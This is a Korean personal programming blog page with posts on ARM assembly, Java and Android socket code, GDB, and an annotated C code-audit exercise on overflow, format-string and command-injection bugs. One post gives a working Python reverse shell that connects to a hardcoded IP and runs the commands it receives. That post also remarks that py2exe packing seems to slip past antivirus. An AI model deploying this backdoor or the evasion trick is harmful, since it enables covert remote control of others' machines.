'k1rha`s Node'에 해당되는 글 388건

  1. 2012.09.25 [python 2.7] Reverse TCP connection Simple code
  2. 2012.09.24 [ ARM Assambly ] 공부 시작!
  3. 2012.09.16 [JAVA] 파일 전송 코드
  4. 2012.09.14 [Android] 캡쳐영상을 소켓으로 보내어 서버 화면에 띄우기
  5. 2012.09.10 [python ] 학교서버관리를 위해 만든 서버 체크리스트
  6. 2012.09.10 [android] 전체 창 크기 구하기 whole screen size
  7. 2012.09.09 [android] inflater 사용하기
  8. 2012.09.09 [Android] 자이로 센서 사용하기
  9. 2012.09.06 해킹 캠프때 들었던 metasploit 자료 1
  10. 2012.09.06 [리눅스] 특정 포트를 사용하는 프로그램 알아내기 + 포트를 사용하는 프로그램 죽이기
  11. 2012.09.02 [코드 오딧팅] From 해킹캠프
  12. 2012.08.26 GDB 명령어 모음집
  13. 2012.08.20 [ Android ] AsyncTask 사용하기
  14. 2012.08.20 MYSQL C 언어로 BLOB 타입에 파일을 입출력 시키기
  15. 2012.08.19 C++ string 값을 char* 로 바꾸기.
  16. 2012.08.19 Jsoncpp 사용하기 ! 설치?법(?) 포함 빌드하기
  17. 2012.08.17 python socket 작업 중 에러 발생
  18. 2012.08.17 [SSM 안드로이드 프레임워크 개발 강의]32. 클라이언트에서 바인더로 통신방법의 원리
  19. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]31. 퍼팩트 포워딩
  20. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]30.Traits (타입 판독 STL)
  21. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]29. 템플릿이야기3 (멤버함수 템플릿)
  22. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]28. 템플릿이야기 2(클래스 템플릿)
  23. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]27. 템플릿이야기 1
  24. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]26. RTTI , RTCI 직접 구현해보기
  25. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]25. RTTI 이야기
  26. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]24. 가상 소멸자 이야기
  27. 2012.08.16 [SSM 안드로이드 프레임워크 개발 강의]23. 가상함수의 원리와 함수포인터이해
  28. 2012.08.15 [SSM 안드로이드 프레임워크 개발 강의]22. 범용적 함수 포인터와 bind
  29. 2012.08.15 [SSM 안드로이드 프레임워크 개발 강의]21. 인터페이스와 인터페이스 탄생 배경
  30. 2012.08.15 [SSM 안드로이드 프레임워크 개발 강의]20. 접근변경자와 어뎁터 패턴
2012. 9. 25. 16:14

파이썬 코딩중 재밌는것은 파이썬코드를 그대로 exe 파일로 변환 시킬수 있는 프로그램(?) 이 있다는 것이다.

하나는 freeze 라는 것이고 (혹은 cx_freeze)  또하나는 py2exe 이다 .

 

한데 재밌는 사실은 이렇게 만들어진 프로그램은 알아서 패킹이 된다는 점이다.

그리고 system call 을 호출시 백신에서 탐지되던 부분도 없어 지는 듯하다.

 

즉 python 으로 리버스커넥션을 짜면 system call 류중 하나로 아쥬 아쥬 심플하게 리버스 커넥션을 구현 할 수 있다.

 

[Client ]

 

import socket
import os


HOST='223.194.105.120'
PORT = 1235
sock =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((HOST,PORT))

while 1:
        data = sock.recv(255)
        print data
        p=os.popen(data)
        sock.send("RESULT \n"+p.read())

        p.close()

sock.close()

 

Server

 

import socket
PORT=1235

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(('',PORT))
sock.listen(5)
conn,client = sock.accept()
print client
while 1:
        input_value = raw_input('>')
        print input_value

        conn.sendall(input_value)
        data = conn.recv(2048)
        print data
sock.close()

 

 

 

 

아래는 결과 화면이다.

 

 

 

 

Posted by k1rha
2012. 9. 24. 21:45

[ 출처 : http://clarus.tistory.com/198 ] 


본 게시물은 위에 남긴 티스토리의 내용을 개인이 공부하기 편하게 요약 정리 해 놓은 판입니다.

위에 티스토리 글이 정리가 너무나 잘되어 있어서 공부하실 때 위에 것을 참조 하시는게 좋습니다.


본 내용은 어거지성 암기법도 들어가고 필자의 추측도 들어가 있습니다.

개인 공부용이니 너무 욕하지 말아주세요~


ARM Register Structure 


 1. Branch : 가지, 지사,분기


 2. DataProcessing  :데이터의 처리

    (MOV,MVN,CMP,CMN,TST,TEQ,ADD,SUB…)


 3. Load/Store : 적재, 저장

   (LDR,ADR)


 4. SWAP  : 교환


 5. PSR(MRS,MSR)  :


 6. SWI  : swich 의약자.


 7. DCD directives


 8. EXPORT, IMPORT   : 가져오기 내보내기


위에 써진 명령어들이 큰 주제들이다. 이것들을 하나씩 봐보도록 하겠다. 


[branch]  : 지사, 분기   (여기서는 분기란 의미로 사용 된다고 보면 편하다.)


     약어 : B(Branch) , L(Labeling) , X(eXchange)


B _printf ; _printf 로 점프하라


BL _printf ; R14 돌아올 주소를 Labeling 해놓고 이동한다.


BX _printf ; 현재 모드를 exchange 한다. (X : eXchange)


BLX _printf ; 두개의 짬뽕

 


 [Data Processing] : 데이터 처리 


  약어 : MOV(Move) , CMP(Compare) , MVN (MoVe NULL),SUB(SUBtraction), RSB(Reverse SuBstraction), ADD(Addition), BIC (Between ~~~)


[명령어 , 대상 레지스터 , 장난레지스터, 레지스터 or]

MOV R1,R2   ; R1:=R2

MVN R1,#0 ; R1:=0xFFFFFFFF

ADD R0,R1,R2 ; R0:=R1+R2

SUB R0,R1,#5  ; R0:=R1-5

RSB  R0,R2,R3 ; R0=R3-R2  (Reverse Sub)

AND R0,R2,R3 ; R0:=R2&R3

BIC  R0,R2,R3  ; R0:=R2 & ~R3 (R31이 들어있는 filed0)

CMP  R0,R2   ; R0>R2 면 다음조건에서 큰경우, 아니면 작은경우



 [Load / Store]

 

   약어  : LDR(LoaD Register), STR(STORE Register), B(Byte)


포인터와 비슷한 개념!!  : [Rn]=*RN    [] 주소값! *는 가르키는 곳!


LDR  : LoaD Register(주소 값을 담음)

Ex)LDR Rd,[Rn,offset] ; Rd:=*(Rn+offset)

LDR Rd,[Rn,offset]!   ;  Rn:=Rn+offset,Rd=*(Rn 대상값을 업데이트!

STR Rd,[Rn,offset] ; *(Rn_offset) = Rd (적재!)

LDRB (LDR 의 바이트코드)


STRB (STR의 바이트 코드)  



[SWAP]

  약어 : SWP (SWAP)


일반 메모리 영역과 register 를 바꿔 치기하는데 사용됨!

Ex)SWP R0,R1,[R2] : R0 = *(R2),*(R2)=R1


[R2] R0에 저장해 두고, [R2]R1을 넣음.


한데 R0R1에 넣진 않음..(why?!)



[PSR]


  약어 : CPSR(Copy ProceSs Register), SPSR


CPSR SPSR 두 개와 일반 Register사이의 값을 서로 복사 할 수 있는 명령어들

MRS R5,CPSR  : R5 : =CPSR

MSR CPSR,R5  : CPSR : = R5

S = PSR 을 의미하고 RRegister를 의미

Move Register PSR 이런 식으로 해석

CPSR_c(control)

CPSR_f(flag)

CPSR_cf(control,flag) 로 준비되어 있음.


  [SWI] : SoftWare Interrupt



Soft Ware Interrupt 명령은 Software가 일부러 Exception을 발생시킬수 있는 유일한 명령어.


보통 user mode 에서 다른 모드로 전환할때 사용. 가장 큰 용례로 kernel SVC mode 일반 application은 
user Mode 일때 일반 applicationkernel에게 뭔가 부탁할때 쓰임

EX) SWI 0x11 : Software Interrupt Handler 에서 0x11 번재 case를 호출함.





  [DCD] : Data Calloc Dimention


DCD  를 만나면 Data Calloc DIMENSION ~ 메모리를 배열처럼 할당해 주는 기분이다.

(여러 개를 늘어놓으면 여러 개의 ARRAY처럼 쓸 수 있다.)

DCB  1Byte 짜리 Data

DCW 2Byte 짜리 Data

DCD 4Byte 짜리 Data (& 값처럼 값을 미리 넣어둘 곳을 지정 가능)

DCQ 8Byte 짜리 Data (static으로 선언해주는 듯이 사용가능)

DCD&와 같다. 메모리 영역에 내가 원하는 값을 넣어 놓도록 메모리를 확보해 놔!



1차적으로 이해가 제대로 된부분은 여기까지라 여기까지만 정리해보고..담은 분석부터 차근차근!!

기대기대~




Posted by k1rha
2012. 9. 16. 16:05

[출처 :http://blog.naver.com/inganyoyo?Redirect=Log&logNo=90072811148


receive.java

#####################################################################

import java.io.File;

import java.io.FileOutputStream;

import java.io.IOException;

import java.io.InputStream;

import java.net.Socket;

import java.net.UnknownHostException;

 

public class receiver extends Thread {

Socket socket = null

File file = null

FileOutputStream fos = null

InputStream is = null

 

public receiver() throws UnknownHostException, IOException {

socket = new Socket("127.0.0.1", 8000);

file = new File("./receiver.avi");

fos = new FileOutputStream(file);

is = socket.getInputStream();

}

 

public static void main(String[] args) throws UnknownHostException,

IOException {

receiver r = new receiver();

 

int readCount = 0;

byte[] buffer = new byte[4096];

r.start();

while ((readCount = r.is.read(buffer)) > 0) {

r.fos.write(buffer, 0, readCount);

}

System.out.println(");

r.is.close();

r.fos.close();

r.stop()

}

 

public void run() {

File file = new File("./receiver.avi");

long curr = 0;

long before = 0;

while (true) {

if (file.exists()) {

try {

Thread.sleep(1000);

curr = file.length();

System.out

.println((double) ((((curr - before) / 1024)) / 1024));

before = curr;

 

catch (InterruptedException e) {

e.printStackTrace();

}

}

}

}

}

 ###################################################################


sender.java

#####################################################################

import java.io.File;

import java.io.FileInputStream;

import java.io.IOException;

import java.io.OutputStream

import java.net.ServerSocket;

import java.net.Socket;

 

public class sender {

public static void main(String[] args) throws IOException {

ServerSocket ss = new ServerSocket(8000);

Socket socket = ss.accept();

OutputStream os = socket.getOutputStream();

 

File file = new File("./sender.avi");

FileInputStream fis = new FileInputStream(file);

int readCount = 0;

byte[] buffer = new byte[4096];

 

while((readCount = fis.read(buffer))>0){

os.write(buffer, 0, readCount);

}

 

System.out.println(");

os.close();

fis.close();

 

 

}

}

 

#####################################################################

[출처] 자바 파일전송|작성자 우왕귿


Posted by k1rha
2012. 9. 14. 11:56

Androidのカメラを使用したかったのでサンプルプログラムを書いてみた.

ついでに,取得した画像をPCにソケットで転送しPCのディスプレイ上で表示した.




以下,プログラム.
カメラ画像の取得については,↓のサイトを参考にした.
Androidメモ

画像の解像度は,デフォルトサイズでは,2048×1536(1M~1.2M)となり,転送に時間がかかったので,480×320に変更した.

[Android側-CameraTest.java]

  1. package com.blogspot.ayakix_lablog.camera;  
  2. import android.app.Activity;  
  3. import android.os.Bundle;  
  4. import android.view.Window;  
  5. import android.view.WindowManager;  
  6.   
  7. public class CameraTest extends Activity {  
  8.  /** Called when the activity is first created. */  
  9.  @Override  
  10.  public void onCreate(Bundle savedInstanceState) {  
  11.   super.onCreate(savedInstanceState);  
  12.   requestWindowFeature(Window.FEATURE_NO_TITLE);  
  13.   setContentView(new CameraView(this));  
  14.   getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);  
  15.  }  
  16. }  


[Android側-CameraView.java]
  1. package com.blogspot.ayakix_lablog.camera;  
  2. import android.content.Context;  
  3. import android.graphics.PixelFormat;  
  4. import android.hardware.Camera;  
  5. import android.view.MotionEvent;  
  6. import android.view.SurfaceHolder;  
  7. import android.view.SurfaceView;  
  8. import java.io.BufferedOutputStream;  
  9. import java.net.Socket;  
  10.   
  11. public class CameraView extends SurfaceView implements SurfaceHolder.Callback {  
  12.  private SurfaceHolder holder; //ホルダー  
  13.  private Camera camera; //カメラ  
  14.  private static final int WIDTH  = 480;  
  15.  private static final int HEIGHT = 320;  
  16.  private static final int PORT = 4680;  
  17.  private static final String IP_ADDR = "1.1.1.1"// IPアドレス  
  18.   
  19.  public CameraView(Context context) {  
  20.   super(context);  
  21.   // サーフェイスホルダーの生成  
  22.   holder=getHolder();  
  23.   holder.addCallback(this);  
  24.   //プッシュバッッファの指定  
  25.   holder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);  
  26.  }  
  27.   
  28.  public void surfaceCreated(SurfaceHolder holder) {  
  29.   // カメラの初期化  
  30.   try {  
  31.    camera=Camera.open();  
  32.    camera.setPreviewDisplay(holder);  
  33.   } catch (Exception e) {  
  34.   }  
  35.  }  
  36.   
  37.  public void surfaceChanged(SurfaceHolder holder,int format,int w,int h) {  
  38.   // カメラのプレビュー開始  
  39.   Camera.Parameters parameters=camera.getParameters();  
  40.   parameters.setPictureSize(WIDTH, HEIGHT);  
  41.   parameters.setPreviewFormat(PixelFormat.JPEG);  
  42.   camera.setParameters(parameters);  
  43.   camera.startPreview();  
  44.  }  
  45.   
  46.  public void surfaceDestroyed(SurfaceHolder holder) {  
  47.   // カメラのプレビュー停止  
  48.   camera.setPreviewCallback(null);  
  49.   camera.stopPreview();  
  50.   camera.release();  
  51.   camera=null;  
  52.  }  
  53.   
  54.  @Override  
  55.  public boolean onTouchEvent(MotionEvent event) {  
  56.   if (event.getAction()==MotionEvent.ACTION_DOWN) {  
  57.    takePicture();  
  58.    camera.startPreview();  
  59.   }  
  60.   return true;  
  61.  }  
  62.   
  63.  public void takePicture() {  
  64.   // カメラのスクリーンショットの取得  
  65.   camera.takePicture(nullnull,new Camera.PictureCallback() {  
  66.    public void onPictureTaken(byte[] data,Camera camera) {  
  67.     sendData(getContext(), data);  
  68.    }  
  69.   });  
  70.  }  
  71.   
  72.  private void sendData(Context context, byte[] data){  
  73.   // ソケットの作成  
  74.   Socket socket;  
  75.   BufferedOutputStream out;  
  76.   try{  
  77.    socket = new Socket(IP_ADDR, PORT);  
  78.    out = new BufferedOutputStream(socket.getOutputStream());  
  79.    out.write(data);  
  80.    if(out != null) out.close();  
  81.    if(socket != null) socket.close();  
  82.   } catch (Exception ex){  
  83.    ex.printStackTrace();  
  84.   }  
  85.  }  
  86. }  


[Android側-AndroidManifest.xml]
  1. <manifest versioncode="1" versionname="1.0" package="com.blogspot.ayakix_lablog.camera" android="http://schemas.android.com/apk/res/android">  
  2. <application icon="@drawable/icon" label="@string/app_name">  
  3.  <activity label="@string/app_name" name=".CameraTest" android:screenorientation="landscape">  
  4.   <intent-filter>  
  5.                  <action name="android.intent.action.MAIN">  
  6.                   <category name="android.intent.category.LAUNCHER"></category>  
  7.           </action>  
  8.       </intent-filter>  
  9.       <uses-permission name="android.permission.CAMERA"></uses-permission>  
  10.       <uses-permission name="android.permission.INTERNET"></uses-permission>  
  11.  </activity>  
  12. </application>  
  13. </manifest>  


[PC側-Main.java]
  1. import java.io.*;  
  2. import java.net.*;  
  3.   
  4. public class Main {  
  5.  private static final int PORT = 4680;  
  6.   
  7.  public static void main(String argv[]) {  
  8.   System.out.println("サーバ起動");  
  9.   int num = 0;  
  10.   ServerSocket serverSocket = null;  
  11.   while(true){  
  12.    try {  
  13.     // サーバーソケットの生成  
  14.     if(serverSocket == null) serverSocket = new ServerSocket(PORT);  
  15.     // クライアントからの接続を待ちます  
  16.     Socket socket = serverSocket.accept();  
  17.     BufferedOutputStream out = new BufferedOutputStream(  
  18.        new FileOutputStream(new File(num + ".jpg")));  
  19.     // 入力ストリームを取得  
  20.     BufferedInputStream in = new BufferedInputStream(socket.getInputStream());  
  21.     byte[] buf = new byte[1024];  
  22.     int len;  
  23.     while((len=in.read(buf))!=-1){  
  24.      out.write(buf, 0, len);  
  25.     }  
  26.     // GUIで画像を表示  
  27.     new GUIExe(num);  
  28.     // 入出力ストリームを閉じる  
  29.     out.flush();  
  30.     out.close();  
  31.     in.close();  
  32.     System.out.println("done");  
  33.     // ソケットを閉じる  
  34.     socket.close();  
  35.     num++;  
  36.    } catch(Exception e) {  
  37.     e.printStackTrace();  
  38.    }  
  39.   }  
  40.  }  
  41. }  
  42.   
  43. class GUIExe extends Thread {  
  44.  private int num;  
  45.    
  46.  public GUIExe(int num) {  
  47.   this.num = num;  
  48.   this.start();  
  49.   // スレッド開始  
  50.  }  
  51.  public void run() {  
  52.   new GUI(num);  
  53.  }  
  54. }  


[PC側-GUI.java]
  1. import java.awt.Graphics;  
  2. import java.awt.Graphics2D;  
  3. import java.awt.event.WindowAdapter;  
  4. import java.awt.event.WindowEvent;  
  5. import java.awt.image.BufferedImage;  
  6. import java.io.File;  
  7. import javax.imageio.ImageIO;  
  8. import javax.swing.JFrame;  
  9.   
  10. public class GUI extends JFrame {  
  11.  private int num;  
  12.  private final int WIDTH  = 480;  
  13.  private final int HEIGHT = 320;  
  14.    
  15.  public GUI(int num){  
  16.   this.num = num;  
  17.   this.addWindowListener(new WindowAdapter(){  
  18.    public void windowClosing(WindowEvent e){  
  19.     System.exit(0);  
  20.    }  
  21.   });  
  22.   
  23.   this.setBounds(00, WIDTH, HEIGHT);  
  24.   this.setLocation(num/3*WIDTH, num%3*HEIGHT);  
  25.   this.setUndecorated(true);  
  26.   this.setVisible(true);  
  27.  }  
  28.   
  29.  public void paint(Graphics g){  
  30.   Graphics2D g2 = (Graphics2D)g;  
  31.   BufferedImage readImage = null;  
  32.   try {  
  33.    readImage = ImageIO.read(new File(num + ".jpg"));  
  34.   } catch (Exception e) {  
  35.    e.printStackTrace();  
  36.    readImage = null;  
  37.   }  
  38.   if (readImage != null){  
  39.    g2.drawImage(readImage, 00, WIDTH, HEIGHT, this);  
  40.   }  
  41.  }  
  42. }  

Posted by k1rha
2012. 9. 10. 19:50

from array import *

from subprocess import *

from socket import *

import os


SEND_MSG =""

PROCCESS_PATH ="checkList.conf"

PROCLIST_FILE = open(PROCCESS_PATH,'r')

PATH_LIST = PROCLIST_FILE.readlines()

flag = 0

i=0;

while len(PATH_LIST)>i :

# print(PATH_LIST[i])

pipe = os.popen(PATH_LIST[i])

RESULT_VALUE = pipe.readlines()

j=0

if(len(RESULT_VALUE[j])<1) : 

SEND_MSG = PATH_LIST[i]+"can`t resume !! "

break


while len(RESULT_VALUE) > j :

SEND_MSG =SEND_MSG+RESULT_VALUE[j]

j=j+1


i=i+1

pipe.close()


print(SEND_MSG)

Posted by k1rha
2012. 9. 10. 00:19

nowDisplay = ((WindowManager) getSystemService(WINDOW_SERVICE))

.getDefaultDisplay();


// 변수에 해상도 저장하기.

int width = nowDisplay.getWidth();

int height = nowDisplay.getHeight();


Posted by k1rha
2012. 9. 9. 21:23

LayoutInflater controlInflater = LayoutInflater.from(getBaseContext());

View viewControl = controlInflater.inflate(R.layout.make_room, null);

LayoutParams layoutParamsControl = new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT);

this.addContentView(viewControl, layoutParamsControl);

Posted by k1rha
2012. 9. 9. 17:59

가끔 헤깔릴때가 있는데 센서값은 manifast 에 등록시켜주지 않아도 잘 작동한다. 


public class MainActivity extends Activity {

SensorManager mSm;

CompassView mView;

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

mView = new CompassView();


mSm = (SensorManager)getSystemService(Context.SENSOR_SERVICE);

}


protected void onResume() {

super.onResume();

mSm.registerListener(mView, mSm.getDefaultSensor(Sensor.TYPE_ORIENTATION), 

SensorManager.SENSOR_DELAY_UI);

}


protected void onPause() {

super.onPause();

mSm.unregisterListener(mView);

}


class CompassView implements SensorEventListener {

float azimuth;

float pitch;

float roll;

final static int MAX = 30;

Paint textPnt = new Paint();

Bitmap compass;

int width;

int height;

int w10;

int h10;

int thick;

int length;




public void onAccuracyChanged(Sensor sensor, int accuracy) {

}


public void onSensorChanged(SensorEvent event) {

float[] v = event.values;

switch (event.sensor.getType()) {

case Sensor.TYPE_ORIENTATION:

if (azimuth != v[0] || pitch != v[1] || roll != v[2]) {

azimuth = v[0];

pitch = v[1];

roll = v[2];

Log.e("Test Acitivitiy","--------------------"+pitch);

}

break;

}

}

}

}

Posted by k1rha
2012. 9. 6. 19:12

메타스플로잇에서 안쓰던기능까지 한번 리뷰하는 느낌이였다. 


용량이 20M 라서 ...링크를 걸어본다.


http://down.posquit0.com/Posquit0-Metasploit_101.pdf


armitego 의경우는 시연으로만보여줘서..자료가없음..


한가지 확실한 것은 절대로 악용해서는 안되며 악용할생각도 해서는안된다.. 


다만 연구나 진단을 위해만사용해야 한다는 점!!  


Posted by k1rha
2012. 9. 6. 18:24

[출처 네이버 지식인]


서버 관리를 하다보면 특정 포트가 이미 사용중이여서 다른것을 사용 못하는 경우가 있다.

이대 특정 포트를 사용하는 프로그램을 알아보고 포트를 죽이는 방법은 아래와 같다.


포트를 사용하는 프로그램을 확인하는 방법은
lsof -i TCP:port 번호 하시면(ex: lsof -i TCP:22)
그 포트를 사용하는 프로그램명이 나옵니다.

간단히 프로그램을 죽이는 방법은
fuser -k -n tcp port번호 하시면 됩니다.(ex: fuser -k -n tcp 22)



Posted by k1rha
2012. 9. 2. 01:23

해킹 캠프중 멍멍이형이 코드 오딧팅을 참가자들에게 내줬는데, 정말 많이 배운 코드이다. 


#include <syslog.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 16
#define WORDSIZE 2
#define DWORDSIZE WORDSIZE+WORDSIZE

void mylog(intkind, char *msg){
        // 3번 취약점, 포맷스트링
        syslog(LOG_USER | kind, msg);
}

void mycpy(char *dst, char *src){
        if(strlen(src) < BUFLEN -1)
                while(*src)
                        *dst++ = *src++;
        *dst= '\x00';
}

int main(int argc, char *argv[]){
        char buf1[16];
        char buf2[16];
        char buf3[BUFLEN];
        char *buf4;
        char *buf5;
        char buf6[16];
        char *buf7;
        int i, len;

        if(argc != 12)
                exit(0);
        
        // 1번 취약점
        // argv[1]의 길이가 17바이트 이상일 경우 NULL이 복사되지 않음
        // 즉, buf1이 NULL 없는 문자열이 되어버림        
        // 이로 인해 차후 이상작동 혹은 취약점이 발생 할 수 있음
        strncpy(buf1, argv[1], sizeof(buf1));
        len= atoi(argv[2]);
        
        if (len< 16)
                // 2번 취약점
                // integer overflow 발생
                // 예를 들어 argv[3]의 값을 -4로 줄 경우 -4=4294967296가 되어버림
                memcpy(buf2, argv[3], len);
        else {
                char *buf= malloc(len+ 20);
                if(buf){
                        // 취약점 없음
                        snprintf(buf, len+20, "String too long: %s", argv[3]);

                        // 3번 취약점, 포맷스트링 
                        mylog(LOG_ERR, buf);
                }
        }

        // 취약점 없음
        mycpy(buf3, argv[4]);
                
        // 4번 취약점
        // 위 mycpy에 의해 buf3이 가득 찰 경우 버퍼오버플로우 발생
        strncat(buf3, argv[5], sizeof(buf3)-1);

        if(fork()){
                // 취약점 없음
                execl("/bin/ls", "/bin/ls", argv[6], 0);
        }

        // filter metacharacters
        char *p;
        if(p = strchr(argv[7], '&'))
                *p = 0;
        if(p = strchr(argv[7], '`'))
                *p = 0;
        if(p = strchr(argv[7], ';'))
                *p = 0;
        if(p = strchr(argv[7], '|'))
                *p = 0;
        if(strlen(argv[7]) < 1024){
                buf4 = malloc(20 + strlen(argv[7]));
                // 취약점 없음
                sprintf(buf4, "/bin/cat %s", argv[7]);

                // 5번 취약점
                // $ 특수 문자를 이용하여 시스템 명령 실행 가능
                // > 특수 문자를 이용하여 root 권한 파일 복사 가능
                system(buf4);
        }

        // 6번 취약점
        // integer overflow + Null Pointer Dereference
        // argv[8]과 argv[9]의 길이가 각각 0x7fffffff(-1)일 경우 결과는 malloc(0)이 됨
        // 리턴 값은 0 = Null Pointer Dereference
        buf5 = malloc(strlen(argv[8]) + strlen(argv[9]) + 2);
        strcpy(buf5, argv[8]);
        strcat(buf5, argv[9]);

        // 7번 취약점, 버퍼 오버플로우
        memcpy(buf6, argv[10], strlen(argv[10]));

        // 8번 취약점, 매크로 우선순위 오류
        // #define WORDSIZE 2
        // #define DWORDSIZE WORDSIZE+WORDSIZE
        // buf7 = malloc(4 * DWORDSIZE);
        // 4*2+2=10
        buf7 = malloc(4 * DWORDSIZE);
        for(i=0; i<4; i++){
                // 총 복사 길이 : 4+4+4+4=16
                memcpy(buf7 + 4 * i, argv[11] + 4 * i, DWORDSIZE);
        }
        printf("\nGot%s, (%d) %s, %s, %s, %s, %s, %s\n", buf1, len, buf2,buf3, buf4, buf5, buf6, buf7);
}
 




1. syslog log 부분 넘어올때 format string 버그 발생.


2. /bin/cat %s 부분에 $() 으로 명령어를 변수화시켜서 실행시키는 법과 환경변수로 /bin/sh을하여 필터를 우회한후 명령어를 실행 시키는 법


3.buf3  mycpy 후 strncat 에서 buf1과 buf2를 넘치게 할수 있음


4.buf6 memcpy 로 오버플로우 발생


5. ulimit 으로 힙메모리 영역 할당메모리를 못하도록 막아놓으면 *p 변수는 스택 영역으로 잡힌다. 그리고 스택오버플로우..


6. `` /bin/ls 에  ``로 명령어 같이 삽입..


7.atoi 함수에 음수를 넣어서 메모리 할당을 하면 0xffffffff 만큼 메모리를 할당.. 때문에 memcpy에서도 메모리 오버플로우 발생




Thank`s for ashine & singi

Posted by k1rha
2012. 8. 26. 02:06

GDB 사용법


*참조도서: "유닉스 리눅스 프로그래밍 필수 유틸리티"

GDB 사용 방법

<<실행>>
GDB를 이용하기 위해서는 컴파일 과정에서 디버깅 정보를 삽입해야 한다.

    컴파일 시 옵션 'g' 이용
    $ gcc -g -o main main.c

컴파일이 정상 종료 되면 GDB를 실행한다.

    gdb [프로그램명]
    $ gdb main
    gdb [프로그램명] [프로세스PID]
    $ gdb main 1928

GDB가 정상 실행되면 터미널의 프롬프트가 (gdb)로 바뀌게 된다.

<<종료>>
종료방법에는 크게 두가지가 있다.

    ctrl + d
    (gdb) q
    (gdb) quit

<<소스보기>>
옵션에 따라 실행중인 프로그램의 소스를 다양한 방법으로 볼 수 있다.

    l(list)
    list 10
    list [함수명]
    list -  //이전 10라인을 출력한다.
    list [파일명]:[함수명]
    list [파일명]:10

list 명령어를 사용하면 소스코드가 10줄 단위로 출력된다.
다음의 명령을 통해 출력단위를 변경할 수 있다.

    set listsize 20

<<세그멘테이션 폴트가 발생했을대>>
컴파일한 프로그램을 실행했을때 segmentation fault 가 발생하여
비정상 종료되었다면 다음의 명령어를 통해 오류 지점을 확인할 수 있다.

    (gdb) r(run)

run 명령어는 GDB가 프로그램을 실행시켜 이상이 발생했을때의 파일과 지점을 출력해준다.
또한 관련 함수 또는 변수에 담긴 값을 출력하여 오류수정에 많은 도움을 준다.

오류 지점에 도달하기 전 과정을 확인하기 위해서는 다음 명령어를 이용하면 된다.

    (gdb) bt

bt명령어는 백트레이스로 프로그램 스택을 역으로 탐색한다.

<<브레이크포인트>>
브레이크포인트는 다음의 방법들을 통해 설정 가능하다.

    (GDB) b(break) [함수명]
    (GDB) break 10
    (GDB) break [파일명]:[함수명]
    (GDB) break [파일명]:10
    (GDB) break +2  //현재 행에서 2개 행 이후 브레이크포인트 설정
    (GDB) break -2  //현재 행에서 2개 행 이전 브레이크포인트 설정
    (GDB) break *0x8049000  //메모리주소에 설정(어셈블리로 디버깅시 이용)
    (GDB) break 10 if var == 0  //var 변수의 값이 0일때 10번 행에 설정

브레이크포인트의 발동 조건은 다양하게 변경 가능하다.

    (GDB) condition [N] var == 0   //var변수가 0일때 N번 브레이크포인트 동작
    (GDB) condition [N] func(i) > 5

현재 설정된 브레이크포인트의 목록은 다음의 명령으로 확인 가능하다.

    (GDB) info break

브레이크포인트는 GDB가 종료될때까지 유효하다.
따라서 필요없을때는 다음의 방법들을 통해 설정을 지운다.

    (GDB) cl(clear) [함수명]
    (GDB) clear 10
    (GDB) clear [파일명]:[함수명]
    (GDB) clear [파일명]:10
    (GDB) d   //모든 브레이크포인트 지움
    (GDB) disable br  //모든 브레이크포인트 비활성화
    (GDB) disable br 1 3  //1번, 3번 브레이크포인트 비활성화
    (GDB) ensable br  //모든 브레이크포인트 활성화
    (GDB) ensable br 1 3  //1번, 3번 브레이크포인트 활성화

<<프로그램 실행>>
프로그램의 실행은 run 명령어를 이용한다.
만일 이미 실행중일때는 재실행한다.

    (gdb) r(run)

프로그램 실행시 인자를 지정하기 위해서는 다음과 같이 이용한다.

    (gdb) run arg1 arg2

실행중인 프로그램을 종료할 때는 kill 명령어를 이용한다.

    (gdb) k(kill)

현재 실행중인 행의 수행을 멈추기 위해서는 step 명령어를 이용한다.
step 명령어는 한행씩 동작하도록 한다. next 명령어와는 함수 호출시 다른 결과를 보인다.

    (gdb) s(step)
    (gdb) step 6   //step을 6번 수행

현재 행의 실행이 멈춘상태에서 다음 행을 실행하기 위해서는

    (gdb) n(next)
    (gdb) next 6   //next를 6번 수행

만일 step명령을 이용중 루프에 빠져 나오지 못할경우에는 until 명령어를 이용한다.

    (gdb) u(until)

한행씩이 아닌 다시 연달아서 실행하기 위해서는

    (gdb) c(continue)

함수가 매우 길어 끝나는 지점으로 이동하기 위해서는 finish 명령어를 사용한다.

    (gdb) finish

함수의 남은 부부을 수행하지 않고 빠져나오기 위해서는 return 명령어를 사용한다.

    (gdb) return

return 명령어를 사용시 return 값을 임의로 지정하기 위해서는 다음과 같이 이용한다.

    (gdb) return 1234

<<와치포인트 설정>>
와치포인트는 변수값의 변화와 코드의 변화를 확인할때 편리하게 이용가능하다.

    (gdb) watch [변수명]   //변수에 값이 써질 때 브레이크
    (gdb) rwatch [변수명]  //변수의 값이 읽혀질 때 브레이크
    (gdb) awatch [변수명]  //변수에 읽기, 쓰기 경우에 브레이크

<<변수와 레지스터 값 검사>>
현재 위치한 행에서 접근 가능한 지역변수들 목록 확인

    (gdb) info locals

현재 위치한 행에서 접근 가능한 전역변수들 목록 확인

    (gdb) info variables

확인하고싶은 변수의 값을 출력하기 위해서는 print 명령어를 사용한다.

    (gdb) p(print) [변수명]  //변수의 값
    (gdb) print [함수명]   //함수의 주소 값

포인터 변수의 경우 위의 방법으로 하면 주소값만이 출력된다.
포인터 변수의 값 또는 포인터 구조체 등의 값을 보기 위해서는 * 를 붙여준다.

    (gdb) print *[변수명]

이중 포인터라면 ** 를 붙여준다.

GDB는 변수 뿐만 아니라 레지스터의 값도 확인할 수 있다.

    (gdb) print $[레지스터명]

print 명령어는 지역변수를 우선하여 보여주기 때문에
지역변수와 전역변수에서 동일한 이름을 사용할때 전역변수를 확인하기 위해서는 :: 을 이용한다.

